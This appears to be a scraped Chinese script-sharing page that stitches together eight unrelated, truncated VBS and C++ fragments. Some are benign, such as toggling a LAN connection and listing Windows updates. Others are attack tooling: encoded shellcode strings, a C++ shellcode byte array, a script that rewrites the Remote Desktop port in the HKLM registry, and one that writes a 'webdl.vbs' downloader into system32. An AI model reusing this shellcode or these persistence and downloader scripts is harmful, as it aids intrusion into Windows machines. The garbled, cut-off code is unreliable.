''dislan.vbs ''usage:cscript/nologodislan.vbs ConstssfCONTROLS=3 sConnectionName='本地连接' sEnableVerb='启用(&A)' sDisableVerb='禁用(&B)' setshellApp=createobject('shell.application') setoControlPanel=shellApp.Namespace(ssfCONTROLS) setoNetConnections=nothi

''codebyNetPatch code='\x29\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92\x06\x5b\x18\x83\xeb\xfc\xe2\xf4\x79\x16\x01\x52\xa1\xcf\x3d\xa1\xae\x07\xdb\x2c\x98\x9f\xb9\xe2\x79\x03\xb3\xf3\x6d\xf9\xa4\x68\xde\x9f\xc2\x81\x51\xfb\x63\xb1\x0

SetWshShell=CreateObject('Wscript.Shell') FunctionImput() imputport=InputBox('请输入一个端口号，注意：这个端口号目前不能被其它程序使用，否则会影响终端服务','更改终端端口号','3389',100,100) Ifimputport''Then IfIsNumeric(imputport)Then WshShell.RegWrite'HKLM\SYSTEM\CurrentControlSet\Control\Termi

C++代码 复制代码 代码如下: #includestdio.h #includestring.h unsignedcharshellcode[]= '\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03' '\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74' '\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3

''＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ ''codebylcx修改网上原有的一个小程序，不知作者，那个程序没有对目录实现递归查找 ''将本程序放在你要查找的目录下，或把查找的目录拖到此脚本上，估计还有bug ''=========================================================

复制代码 代码如下: dimAsoR,FlashFileName SetArgObj=WScript.Arguments dimPositionStart,OKed,Tag,EndSize PositionStart=920000''flash4的播放器的大致字节数 EndSize=8''exe文件结尾字节数,其它版本可以设置为0 FlashFileName=ArgObj(0)''传递路径 setAsoR=CreateObject('Adodb.Stream') AsoR.Mode=3 AsoR

SetobjSession=CreateObject('Microsoft.Update.Session') SetobjSearcher=objSession.CreateUpdateSearcher SetobjResults=objSearcher.Search('Type=''Software''') SetcolUpdates=objResults.Updates Fori=0tocolUpdates.Count-1 ''IfcolUpdates.Item(i).Title=_ '''

OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit ''------------------- ''Enjoyit ''CodeByNetPatch ''------------------- fname=InputBox('请输入要ECHO的路径):','输入文件名','%systemroot%/system32/webdl.vbs') SetFso=CreateObject('Scripting.F